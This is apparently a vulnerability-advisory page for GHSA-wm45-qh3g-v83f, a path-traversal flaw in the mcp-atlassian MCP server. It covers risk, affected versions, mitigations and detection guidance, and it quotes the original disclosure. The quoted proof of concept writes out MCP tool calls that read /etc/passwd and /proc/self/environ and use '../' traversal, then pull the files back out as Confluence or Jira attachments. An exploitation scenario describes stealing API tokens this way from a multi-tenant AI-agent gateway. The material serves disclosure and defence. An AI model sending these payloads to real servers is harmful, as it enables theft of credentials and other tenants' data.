GHSA-wm45-qh3g-v83f: mcp-atlassian: path traversal leaks server files+creds
GHSA-wm45-qh3g-v83f HIGHThis vulnerability lets any client of a remote-deployed mcp-atlassian MCP server read arbitrary files off the server's host — including /etc/passwd, /proc/self/environ, and by extension the server's own Jira/Confluence API tokens — simply by passing a server-side file path to the Confluence or Jira attachment-upload tools instead of the caller's own file. There's no CISA KEV listing, no public exploit or Nuclei template, and EPSS scoring isn't available yet, but the PoC is a single tools/call with an absolute path and the CVSS 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H) reflects a real confidentiality break with a scope change into other tenants' data. mcp-atlassian shows zero tracked downstream dependents in our data but already has 7 other logged CVEs, suggesting an immature codebase under active scrutiny rather than a one-off flaw. The blast radius concentrates in remote HTTP/SSE deployments — including multi-tenant MCP gateways — where this is effectively a credential-disclosure bug, not just a file-read bug; stdio single-user deployments are unaffected by design. Patch to 0.22.0 immediately, rotate any JIRA_API_TOKEN/CONFLUENCE_API_TOKEN exposed on affected hosts, and alert on confluence_upload_attachment or jira_update_issue calls carrying absolute or ../ traversal paths.
What is the risk?
High risk for any organization running mcp-atlassian over a network-reachable transport (streamable-http/sse, default bind 0.0.0.0). Exploitability is trivial — no authentication bypass needed beyond legitimate MCP tool access (PR:L), no user interaction, low attack complexity, and the PoC round-trips through normal-looking Atlassian API calls that leave an artifact (the attachment) as evidence. Impact is high-confidentiality with a scope change (S:C), since a single tenant's MCP client can read files belonging to the host process or to other tenants sharing the deployment, including the server's own Atlassian credentials via /proc/self/environ. There is no KEV listing and no evidence of active exploitation or scanner coverage today, which tempers urgency somewhat, but the low complexity and clear credential-theft payoff make this an attractive target the moment a public MCP-Atlassian deployment is discovered. Risk is materially lower (effectively design-as-intended) for local stdio deployments where the server runs as the invoking user.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| MCP Atlassian | pip | < 0.22.0 | 0.22.0 |
Do you use MCP Atlassian? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step-
1) Upgrade mcp-atlassian to 0.22.0 or later immediately. 2) Until patched, avoid running mcp-atlassian over streamable-http/sse in multi-tenant or internet-facing configurations — restrict to stdio or place behind an authenticated, single-tenant boundary. 3) Rotate JIRA_API_TOKEN and CONFLUENCE_API_TOKEN on any host that ran an affected remote deployment, since /proc/self/environ disclosure may already have occurred. 4) Run the server in a container/sandbox with a minimal, read-only filesystem so even a successful path-traversal read yields nothing sensitive. 5) Detection: audit MCP/Atlassian access logs for confluence_upload_attachment, confluence_upload_attachments, or jira_update_issue calls where file_path/attachments contain absolute paths (leading '/') or traversal sequences ('../'), or where uploaded attachment names match system files (passwd, environ, hostname, config files) rather than expected user documents.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-wm45-qh3g-v83f?
This vulnerability lets any client of a remote-deployed mcp-atlassian MCP server read arbitrary files off the server's host — including /etc/passwd, /proc/self/environ, and by extension the server's own Jira/Confluence API tokens — simply by passing a server-side file path to the Confluence or Jira attachment-upload tools instead of the caller's own file. There's no CISA KEV listing, no public exploit or Nuclei template, and EPSS scoring isn't available yet, but the PoC is a single tools/call with an absolute path and the CVSS 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H) reflects a real confidentiality break with a scope change into other tenants' data. mcp-atlassian shows zero tracked downstream dependents in our data but already has 7 other logged CVEs, suggesting an immature codebase under active scrutiny rather than a one-off flaw. The blast radius concentrates in remote HTTP/SSE deployments — including multi-tenant MCP gateways — where this is effectively a credential-disclosure bug, not just a file-read bug; stdio single-user deployments are unaffected by design. Patch to 0.22.0 immediately, rotate any JIRA_API_TOKEN/CONFLUENCE_API_TOKEN exposed on affected hosts, and alert on confluence_upload_attachment or jira_update_issue calls carrying absolute or ../ traversal paths.
Is GHSA-wm45-qh3g-v83f actively exploited?
No confirmed active exploitation of GHSA-wm45-qh3g-v83f has been reported, but organizations should still patch proactively.
How to fix GHSA-wm45-qh3g-v83f?
1) Upgrade mcp-atlassian to 0.22.0 or later immediately. 2) Until patched, avoid running mcp-atlassian over streamable-http/sse in multi-tenant or internet-facing configurations — restrict to stdio or place behind an authenticated, single-tenant boundary. 3) Rotate JIRA_API_TOKEN and CONFLUENCE_API_TOKEN on any host that ran an affected remote deployment, since /proc/self/environ disclosure may already have occurred. 4) Run the server in a container/sandbox with a minimal, read-only filesystem so even a successful path-traversal read yields nothing sensitive. 5) Detection: audit MCP/Atlassian access logs for confluence_upload_attachment, confluence_upload_attachments, or jira_update_issue calls where file_path/attachments contain absolute paths (leading '/') or traversal sequences ('../'), or where uploaded attachment names match system files (passwd, environ, hostname, config files) rather than expected user documents.
What systems are affected by GHSA-wm45-qh3g-v83f?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, MCP tool servers, multi-tenant AI agent deployments.
What is the CVSS score for GHSA-wm45-qh3g-v83f?
GHSA-wm45-qh3g-v83f has a CVSS v3.1 base score of 7.7 (HIGH).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0037 Data from Local System AML.T0053 AI Agent Tool Invocation AML.T0086 Exfiltration via AI Agent Tool Invocation AML.T0098 AI Agent Tool Credential Harvesting Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary A client that can invoke MCP tools can read **arbitrary files from the server host** and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied `file_path` and `open()` it on the **server's** filesystem. The upload tools are meant to attach a file from the **caller's** environment — the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file *content* in place of a server-side path. A remote client therefore reads the server's files — and, in multi-tenant deployments, other tenants' data — instead of its own. (In a local `stdio` deployment the server runs as the user, so the path refers to the user's own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.) ### Details The upload tools read a client-supplied path directly on the server: - `src/mcp_atlassian/confluence/attachments.py` — `upload_attachment` → `_upload_attachment_direct` → `os.path.abspath(file_path)` → `open(file_path, "rb")` - `src/mcp_atlassian/jira/attachments.py` — `upload_attachment` → `os.path.abspath(file_path)` → `open(file_path, "rb")` `os.path.abspath()` only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path. Client-reachable entry points that hit these sinks: - `confluence_upload_attachment` → `ConfluenceFetcher.upload_attachment`. The `file_path` field is documented as "absolute … or relative to the current working directory." - `confluence_upload_attachments` → loops over the same sink. - `jira_update_issue` — its `attachments` parameter (JSON array or comma-separated list of paths) flows through `IssuesMixin.update_issue` → `self.upload_attachments` → the Jira sink. There is no standalone `jira_upload_attachment` tool; `jira_update_issue` is the only Jira entry point. ### PoC **Local reproduction** Extract `traversal_upload_attachment_file_read.zip`: ``` # Fill credentials in docker-compose.yml; set CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY in poc.sh docker compose up -d # mcp-atlassian, streamable-http, 0.0.0.0, READ_ONLY_MODE=false ./poc.sh # exits 0 on success ``` > Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the `/etc/passwd` round-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI. All calls are issued against the HTTP transport with `READ_ONLY_MODE=false` (the default). Step 1 — read `/etc/passwd` from the server via Confluence upload: ``` req → tools/call confluence_upload_attachment { "content_id": "<PAGE_ID>", "file_path": "/etc/passwd" } ← { "message": "Attachment uploaded successfully", "attachment": { "success": true, "filename": "passwd", "id": "att<...>" } } ``` Step 2 — retrieve the exfiltrated content back through MCP (round-trip proves a real read): ``` req → tools/call confluence_download_attachment { "attachment_id": "att<...>" } ← base64 resource decoding to: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... ``` Step 3 — same primitive via the Jira entry point (second sink): ``` req → tools/call jira_update_issue { "issue_key": "<ISSUE_KEY>", "fields": "{}", "attachments": "/etc/passwd" } ← { "attachment_results": { ... "success": true ... } } ``` Step 4 — credential disclosure via `/proc/self/environ`: ``` req → tools/call confluence_upload_attachment { "content_id": "<PAGE_ID>", "file_path": "/proc/self/environ" } ← success; the resulting "environ" attachment contains the server's env, including JIRA_API_TOKEN / CONFLUENCE_API_TOKEN. ``` (`os.path.getsize` reports 0 for procfs, but the upload transmits the real content — the attachment shows ~1 kB in the Confluence UI.) Step 5 — relative traversal accepted (no containment): ``` req → tools/call confluence_upload_attachment { "content_id": "<PAGE_ID>", "file_path": "../../../../etc/hostname" } ← success — relative paths are resolved and read on the server just like absolute ones. ``` The uploaded files (`passwd`, `environ`, `hostname`) appear as real attachments on the Confluence page, confirming the server read them off its own host. ### Impact Any client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. `/etc/passwd`, `/proc/self/environ`, application config, key material). Uploading `/proc/self/environ` discloses the server's environment variables — including the configured `JIRA_API_TOKEN` / `CONFLUENCE_API_TOKEN` — i.e. the server process's own Atlassian credentials and any other secrets on the host. In a multi-tenant HTTP deployment this also breaks tenant isolation: one client reads files belonging to the deployment or to other tenants. The security impact concentrates in remote / HTTP-transport deployments (`sse`, `streamable-http`, default bind `0.0.0.0`), where the `file_path` resolves on the server host rather than the client's. In a single-user `stdio` deployment the path refers to the user's own machine, so there is no boundary crossing. ### Credit Discovered by [Francisco Rosales](https://www.linkedin.com/in/francisco-rosales-celis/) of [Manifold Security](https://manifold.security/)
Exploitation Scenario
An attacker who can send MCP tool calls to a remote, multi-tenant mcp-atlassian deployment (e.g., as a client of a shared internal AI-agent gateway, or by compromising one tenant's agent session) calls confluence_upload_attachment with file_path set to /proc/self/environ against a Confluence page they control. The server opens that path locally and uploads its contents as a normal-looking attachment; the attacker then calls confluence_download_attachment to retrieve it, recovering the server's JIRA_API_TOKEN and CONFLUENCE_API_TOKEN in plaintext. With those tokens the attacker authenticates directly to the underlying Atlassian instance, bypassing the MCP layer entirely and accessing whatever Jira/Confluence data those service credentials expose — including other tenants' data sharing the same mcp-atlassian deployment.
Weaknesses (CWE)
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Primary
CWE-73 External Control of File Name or Path
Primary
CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
- [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
- [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N References
Timeline
Related Vulnerabilities
CVE-2026-27825 9.1 mcp-atlassian: Path Traversal enables file access
Same package: mcp-atlassian CVE-2026-27826 8.2 mcp-atlassian: SSRF allows internal network access
Same package: mcp-atlassian GHSA-g5r6-gv6m-f5jv 7.7 mcp-atlassian: path traversal leaks secrets via injection
Same package: mcp-atlassian GHSA-489g-7rxv-6c8q 6.5 mcp-atlassian: DNS-rebind bypass revives header SSRF
Same package: mcp-atlassian CVE-2025-53767 10.0 Azure OpenAI: SSRF EoP, no auth required (CVSS 10)
Same attack type: Data Extraction